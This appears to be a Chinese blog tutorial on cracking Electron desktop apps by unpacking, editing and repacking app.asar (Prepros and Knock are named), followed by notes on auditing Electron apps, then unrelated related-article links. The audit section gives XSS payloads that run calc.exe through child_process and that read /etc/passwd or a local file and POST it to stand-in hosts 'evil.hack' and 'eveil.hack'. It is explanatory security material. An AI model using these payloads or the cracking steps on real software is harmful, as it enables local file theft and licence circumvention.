解包

Electron跨平台程序破解https://www.52pojie.cn/thread-563895-1-1.html

Electron封装的跨平台程序破解的一般思路:

  • 安装npm(至于如何安装,网上教程很多,不赘述)
  • 安装好npm后执行命令安装asar:npm install asar -g
  • 以macOS平台为例,在Prepros.app/Contents/Resources下找到app.asar,其他平台方法类似
  • 用asar命令解包:asar e app.asar tmp
  • 到步骤4中建立的tmp目录下找到对应的js文件hack之。
  • 破解完后重新封装程序 :asar p tmp/ app.asar,破解完成。

这里有个大坑就是:

不能把文件叫取名为tmp,必须是app,文件夹名使用tmp后重新封装出现40g的情况!

所以正确的方法是

  • 安装npm(至于如何安装,网上教程很多,不赘述)

  • 安装好npm后执行命令安装asar:npm install asar -g

  • C:\Users\yonghu\AppData\Local\Programs\Knock\resources下找到app.asar

  • 用asar命令解包:asar e app.asar app

  • 到步骤4中建立的app目录下找到对应的rendderer.js文修改

  • 破解完后重新封装程序 :asar p app/ app.asar,破解完成。

Electron

在Electron中,运行package.json中的main脚本的进程被称为主进程,该进程能访问Node.js原语,并负责启动其他进程。Chromium则被用于展示Web网页,其中每个Web页面都在独立的渲染进程中进行渲染。

Electron 的渲染进程是由 Chromium + Node.js 构成, 那么我们可以从分析传统 Web 应用的角度,得出这样的结论:

  • DOM 操作非常多、非常频繁
  • 基于 DOM 的 XSS 会变得很容易发生
  • 可以完成基于 JavaScript 的自由重定向(重定向至不可信站点)

所以,使用传统的 Web 应用分析套路来处理 Electron 是十分必要的。

审计

有一个主文件 如 main.js. 在这里处理应用的启动

package.json

我们检查的第一个目标是package.json,其中包含了所有应用入口点的对应文件路径:

  1. {
  2. "name": "Example App",
  3. "description": "Core App",
  4. "main": "./dist/electron/main.js",
  5. "license": null,
  6. }

如上例子,入口点是位于electron文件夹中名为mian.js的文件,该文件将会作为主进程执行。如果没有特别的指定,main.js*是默认的主文件。

自定义url协议

electron应用可以注册自己的url 协议 例如custom://, 使得可以通过浏览器直接打开应用. 这里对url协议的处理不当可能导致rce等 例子.

注册url的代码例子如下

  1. const protocol = electron.protocol
  2. // handles links `todo2://<something>`
  3. const PROTOCOL_PREFIX = 'todo2'
  4. function createWindow () {
  5. mainWindow = new BrowserWindow({width: 1000, height: 800})
  6. // handle url protocol
  7. protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
  8. const fullUrl = formFullTodoUrl(req.url)
  9. devToolsLog('full url to open ' + fullUrl)
  10. mainWindow.loadURL(fullUrl)
  11. })
  12. }

domxss

Electron 中的 DOM 操作必须更精细,严格转义是必要的。(渲染进程中可以使用 Node 函数) 基于这个特性,攻击者可以在此之中插入 Node 函数用于攻击, 比如,这是一个普通的 XSS 实例:

  1. // xss_source 是攻击者可以控制的字符串
  2. elm.innerHTML = xss_source; // XSS!

攻击者可以以下面的方式利用:

  1. // 弹计算器
  2. <img src=# onerror="require('child_process').exec('calc.exe',null);">
  3. // 读取本地文件并发送
  4. <img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
  5. fetch('http://evil.hack/', { method:'POST', body:s });">
lectron 的架构问题
  • 浏览器窗口默认支持加载file://
  • 并没有与普通浏览器一般的地址栏
本地文件信息窃取

我们发现在默认情况下,Node 语句是可用的。 但是,如果开发者禁用了 Node 语句:

  1. // main.js 节选
  2. win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
  3. win.loadURL(`file://${__dirname}/index.html`);

这种情况下,我们注入的 Node 语句不生效,可造成的威胁降低了。 看起来,在创建 BrowserWindow 的时候禁用 Node 语句是必要的。 但是,如果 Node 语句被禁用,Electron 会变得很鸡肋。

如果开发者执意禁止 Node 语句,我们依然不是无计可施的。 以刚刚的 main.js 为例,我们可以通过xhr来做更多的事情。

  1. var xhr = new XMLHttpRequest();
  2. xhr.open("GET", "file://c:/file.txt", true);
  3. xhr.onload = () => {
  4. fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
  5. };
  6. xhr.send( null );

通过上面的代码,我们可以读取本地文件并将其发送出去。 这使得开发者在牺牲 Electron 的实用性禁用 Node 语句后, XSS 依旧十分强大。

electron代码审计的更多相关文章

  1. Electron使用与学习--(页面间的通信)

    目录结构: index.js是主进程js. const electron = require('electron') const app = electron.app const BrowserWin ...

  2. Electron使用与学习--(基本使用与菜单操作)

    对于electron是个新手,下面纯属个人理解.如有错误,欢迎指出.   一.安装 如果你本地按照github上的 # Install the `electron` command globally ...

  3. Electron 不完全快速手册

    Electron能干嘛 Vscode 基于Electron开发的,他是用来开发桌面软件的,可以轻易的跨平台 他的前身是atomshell,图标很丑,不用在意,一点也不像vscode也不用在意.   L ...

  4. Electron中Jquery的引入方式

    原文链接http://huisky.com/blog/16122220522957 Electron默认启用了Node.js的require模块,而jQuery等新版本框架为了支持commondJS标 ...

  5. Electron的环境配置

    原文地址http://huisky.com/blog/161218121551123 本文介绍了Electron的环境配置,包括Electron下载.nodejs下载安装.NPM+Bower安装配置. ...

  6. Electron安装

    1.安装nodejs和npm 官网下载地址:https://nodejs.org/en/download/ 安装包:下载.msi 安装完成后: nodejs.npm都会安装好,path环境变量也自动设 ...

  7. electron之Windows下使用 html js css 开发桌面应用程序

    1.atom/electron github: https://github.com/atom/electron 中文文档: https://github.com/atom/electron/tree ...

  8. electron 入门小白贴

    electron 入门小白贴 electron demo 跑起来! 毕设准备是做个 跨平台的做题的客户端,打算用 electron 来弄. 然而今天折腾了半天才终于吧demo给跑起来了.经历了许多的问 ...

  9. Linux下Electron的Helloworld

    什么是Electron Electron 框架的前身是 Atom Shell,可以让你写使用 JavaScript,HTML 和 CSS 构建跨平台的桌面应用程序.它是基于io.js 和 Chromi ...

随机推荐

  1. Mariadb 10.14 mysqldump error: 1049

    Mariadb 10.14 mysqldump error: 1049 Table of Contents 1. 错误信息 2. 解决方法 1 错误信息 执行表导出: mysqldump -uroot ...

  2. idea出现 淇℃伅 乱码

    问题:我是idea出现 淇℃伅 乱码, 解决:修改 tomcat 下的 logging.properties这个文件 为 GBK 就好了. 参考:https://blog.csdn.net/weixi ...

  3. 用python做时间序列预测九:ARIMA模型简介

    本篇介绍时间序列预测常用的ARIMA模型,通过了解本篇内容,将可以使用ARIMA预测一个时间序列. 什么是ARIMA? ARIMA是'Auto Regressive Integrated Moving ...

  4. 一个简单的Shell脚本(解决windows上文本在macos上乱码问题)

    之所以有这一篇文章,是因为之前我写过的一篇文章:“解决Mac上打开txt文件乱码问题”:传送门: https://www.cnblogs.com/chester-cs/p/11784079.html ...

  5. 涨姿势了解一下Kafka消费位移可好?

    摘要:Kafka中的位移是个极其重要的概念,因为数据一致性.准确性是一个很重要的语义,我们都不希望消息重复消费或者丢失.而位移就是控制消费进度的大佬.本文就详细聊聊kafka消费位移的那些事,包括: ...

  6. 记录一次Flink作业异常的排查过程

    最近2周开始接手apache flink全链路监控数据的作业,包括指标统计,业务规则匹配等逻辑,计算结果实时写入elasticsearch. 昨天遇到生产环境有作业无法正常重启的问题,我负责对这个问题 ...

  7. Laya 吐槽日志.

    新换了一个公司,公司有两个产品都是用的laya, 一个as写的2D游戏, 一个ts写的3D游戏 as写小游戏,各种不舒服啊,  一堆 __JS这样的代码,   体验极差. laya IDE 按钮只能做 ...

  8. Win10下创建virtualenv Linux下创建

    虚拟环境 为什么要搭建虚拟环境 开发多个不同的项目 可能需要用到同一个包不同版本新版本会覆盖旧的 作用 虚拟环境 可以搭建独立的Python运行环境 使项目之间版本不受影响 Linux下如何搭建虚拟环 ...

  9. selenium(9)- Xpath的详细使用

    什么是Xpath 官方:XPath 是一门在 XML 文档中查找信息的语言.XPath 用于在 XML 文档中通过元素和属性进行导航 [XPath 使用路径表达式来选取 XML 文档中的节点或者节点集 ...

  10. SLS编写规范

    SLS编写规范 规范要点说明 首先,状态的执行不可回滚,执行完了就是执行完了,并不会中断回滚,其次,状态的执行,可以反复执行,也就是说一个状态文件,可以多次来进行调用. 在编写状态文件过程中,有以下几 ...